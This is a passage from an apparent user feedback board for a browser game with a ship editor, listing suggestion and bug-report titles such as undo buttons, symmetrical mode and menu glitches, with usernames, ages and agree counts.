  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree